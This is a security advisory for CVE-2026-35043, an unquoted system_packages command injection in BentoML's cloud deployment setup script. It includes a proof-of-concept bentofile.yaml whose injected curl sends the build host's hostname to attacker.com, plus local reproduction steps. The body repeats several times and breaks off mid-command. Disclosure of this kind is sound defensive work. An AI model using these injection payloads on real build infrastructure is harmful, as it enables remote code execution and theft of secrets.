CVE-2026-35043

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.38, the cloud deployment path in src/bentoml/_internal/cloud/deployment.py was not included in the fix for CVE-2026-33744. Line 1648 interpolates system_packages directly into a shell command using an f-string without any quoting. The generated script is uploaded to BentoCloud as setup.sh and executed on the cloud build infrastructure during deployment, making this a remote code execution on the CI/CD tier. This vulnerability is fixed in 1.4.38.

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.38, the cloud deployment path in src/bentoml/_internal/cloud/deployment.py was not included in the fix for CVE-2026-33744. Line 1648 interpolates system_packages directly into a shell command using an f-string without any quoting. The generated script is uploaded to BentoCloud as setup.sh and executed on the cloud build infrastructure during deployment, making this a remote code execution on the CI/CD tier. This vulnerability is fixed in 1.4.38.

Commit ce53491 (March 24) fixed command injection via system_packages in Dockerfile templates and images.py by adding shlex.quote. However, the cloud deployment path in src/bentoml/_internal/cloud/deployment.py was not included in the fix. Line 1648 interpolates system_packages directly into a shell command using an f-string without any quoting.

The generated script is uploaded to BentoCloud as setup.sh and executed on the cloud build infrastructure during deployment, making this a remote code execution on the CI/CD tier.

Details

Fixed paths (commit ce53491):

• src/_bentoml_sdk/images.py:88 - added shlex.quote(package)
• src/bentoml/_internal/bento/build_config.py:505 - added bash_quote Jinja2 filter
• Jinja2 templates: base_debian.j2, base_alpine.j2, etc.

Unfixed path:

src/bentoml/_internal/cloud/deployment.py, line 1648:

def _build_setup_script(bento_dir: str, image: Image | None) -> bytes:
    content = b""
    config = BentoBuildConfig.from_bento_dir(bento_dir)
    if config.docker.system_packages:
        content += f"apt-get update && apt-get install -y {' '.join(config.docker.system_packages)} || exit 1\n".encode()

system_packages values from bentofile.yaml are joined with spaces and interpolated directly into the apt-get install command. No shlex.quote.

Remote execution confirmed:

• Line 905: setup_script = _build_setup_script(bento_dir, svc.image) in _init_deployment_files
• Line 908: upload_files.append(("setup.sh", setup_script)) uploads to BentoCloud
• Line 914: self.upload_files(upload_files, ...) sends to the remote deployment
• The script runs on the cloud build infrastructure during container setup

Second caller at line 1068: _build_setup_script is also called during Deployment.watch() for dev mode hot-reload deployments.

Proof of Concept

bentofile.yaml:

service: "service:svc"
docker:
  system_packages:
    - "curl"
    - "jq;curl${IFS}http://attacker.com/rce?d=$(cat${IFS}/etc/hostname)${IFS}#"

Generated setup.sh:

apt-get update && apt-get install -y curl jq;curl${IFS}http://attacker.com/rce?d=$(cat${IFS}/etc/hostname)${IFS}# || exit 1

The semicolon terminates the apt-get command. ${IFS} is used for spaces (works in bash, avoids YAML parsing issues). The # comments out the trailing || exit 1. The injected curl exfiltrates the hostname of the build infrastructure to the attacker.

Impact

A malicious bentofile.yaml achieves remote code execution on BentoCloud's build infrastructure (or enterprise Yatai/Kubernetes build nodes) during deployment. Attack scenarios:

1. Supply chain: A shared Bento from a public model hub contains a poisoned bentofile.yaml. When deployed to BentoCloud, the injected command runs on the build infrastructure.
2. Insider threat: A data scientist with deploy permissions injects commands into system_packages to exfiltrate secrets from the build environment (cloud credentials, API keys, other tenants' data).
3. CI/CD compromise: The build infrastructure typically has access to container registries, artifact storage, and deployment APIs, making this a pivot point for broader infrastructure compromise.

Local Reproduction Steps

Tested and confirmed on Ubuntu with BentoML source at commit 0772581.

Step 1: Create a directory with a malicious bentofile.yaml:

mkdir /tmp/bento-pwn
cat > /tmp/bento-pwn/bentofile.yaml << 'EOF'
service: "service:svc"
docker:
  system_packages:
    - "curl"
    - "jq; touch /tmp/PWNED_BY_INJECTION #"
EOF

Step 2: Generate the setup script using the vulnerable code path (extracted from deployment.py:1648):

python3 -c "
import yaml
with open('/tmp/bento-pwn/bentofile.yaml') as f:
    config = yaml.safe_load(f)
pkgs = config['docker']['system_packages']
script = f\"apt-get update && apt-get install -y {' '.join(pkgs)} || exit 1\n\"
print('Generated…

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.38, the cloud deployment path in src/bentoml/_internal/cloud/deployment.py was not included in the fix for CVE-2026-33744. Line 1648 interpolates system_packages directly into a shell command using an f-string without any quoting. The generated script is uploaded to BentoCloud as setup.sh and executed on the cloud build infrastructure during deployment, making this a remote code execution on the CI/CD tier. This vulnerability is fixed in 1.4.38.

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.38, the cloud deployment path in src/bentoml/_internal/cloud/deployment.py was not included in the fix for CVE-2026-33744. Line 1648 interpolates system_packages directly into a shell command using an f-string without any quoting. The generated script is uploaded to BentoCloud as setup.sh and executed on the cloud build infrastructure during deployment, making this a remote code execution on the CI/CD tier. This vulnerability is fixed in 1.4.38.

Commit ce53491 (March 24) fixed command injection via system_packages in Dockerfile templates and images.py by adding shlex.quote. However, the cloud deployment path in src/bentoml/_internal/cloud/deployment.py was not included in the fix. Line 1648 interpolates system_packages directly into a shell command using an f-string without any quoting.

The generated script is uploaded to BentoCloud as setup.sh and executed on the cloud build infrastructure during deployment, making this a remote code execution on the CI/CD tier.

Details

Fixed paths (commit ce53491):

• src/_bentoml_sdk/images.py:88 - added shlex.quote(package)
• src/bentoml/_internal/bento/build_config.py:505 - added bash_quote Jinja2 filter
• Jinja2 templates: base_debian.j2, base_alpine.j2, etc.

Unfixed path:

src/bentoml/_internal/cloud/deployment.py, line 1648:

def _build_setup_script(bento_dir: str, image: Image | None) -> bytes:
    content = b""
    config = BentoBuildConfig.from_bento_dir(bento_dir)
    if config.docker.system_packages:
        content += f"apt-get update && apt-get install -y {' '.join(config.docker.system_packages)} || exit 1\n".encode()

system_packages values from bentofile.yaml are joined with spaces and interpolated directly into the apt-get install command. No shlex.quote.

Remote execution confirmed:

• Line 905: setup_script = _build_setup_script(bento_dir, svc.image) in _init_deployment_files
• Line 908: upload_files.append(("setup.sh", setup_script)) uploads to BentoCloud
• Line 914: self.upload_files(upload_files, ...) sends to the remote deployment
• The script runs on the cloud build infrastructure during container setup

Second caller at line 1068: _build_setup_script is also called during Deployment.watch() for dev mode hot-reload deployments.

Proof of Concept

bentofile.yaml:

service: "service:svc"
docker:
  system_packages:
    - "curl"
    - "jq;curl${IFS}http://attacker.com/rce?d=$(cat${IFS}/etc/hostname)${IFS}#"

Generated setup.sh:

apt-get update && apt-get install -y curl jq;curl${IFS}http://attacker.com/rce?d=$(cat${IFS}/etc/hostname)${IFS}# || exit 1

The semicolon terminates the apt-get command. ${IFS} is used for spaces (works in bash, avoids YAML parsing issues). The # comments out the trailing || exit 1. The injected curl exfiltrates the hostname of the build infrastructure to the attacker.

Impact

A malicious bentofile.yaml achieves remote code execution on BentoCloud's build infrastructure (or enterprise Yatai/Kubernetes build nodes) during deployment. Attack scenarios:

1. Supply chain: A shared Bento from a public model hub contains a poisoned bentofile.yaml. When deployed to BentoCloud, the injected command runs on the build infrastructure.
2. Insider threat: A data scientist with deploy permissions injects commands into system_packages to exfiltrate secrets from the build environment (cloud credentials, API keys, other tenants' data).
3. CI/CD compromise: The build infrastructure typically has access to container registries, artifact storage, and deployment APIs, making this a pivot point for broader infrastructure compromise.

Local Reproduction Steps

Tested and confirmed on Ubuntu with BentoML source at commit 0772581.

Step 1: Create a directory with a malicious bentofile.yaml:

mkdir /tmp/bento-pwn
cat > /tmp/bento-pwn/bentofile.yaml << 'EOF'
service: "service:svc"
docker:
  system_packages:
    - "curl"
    - "jq; touch /tmp/PWNED_BY_INJECTION #"
EOF

Step 2: Generate the setup script using the vulnerable code path (extracted from deployment.py:1648):

python3 -c "
import yaml
with open('/tmp/bento-pwn/bentofile.yaml') as f:
    config = yaml.safe_load(f)
pkgs = config['docker']['system_packages']
script = f\"apt-get update && apt-get install -y {' '.join(pkgs)} || exit 1\n\"
print('Generated…

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.38, the cloud deployment path in src/bentoml/_internal/cloud/deployment.py was not included in the fix for CVE-2026-33744. Line 1648 interpolates system_packages directly into a shell command using an f-string without any quoting. The generated script is uploaded to BentoCloud as setup.sh and executed on the cloud build infrastructure during deployment, making this a remote code execution on the CI/CD tier. This vulnerability is fixed in 1.4.38.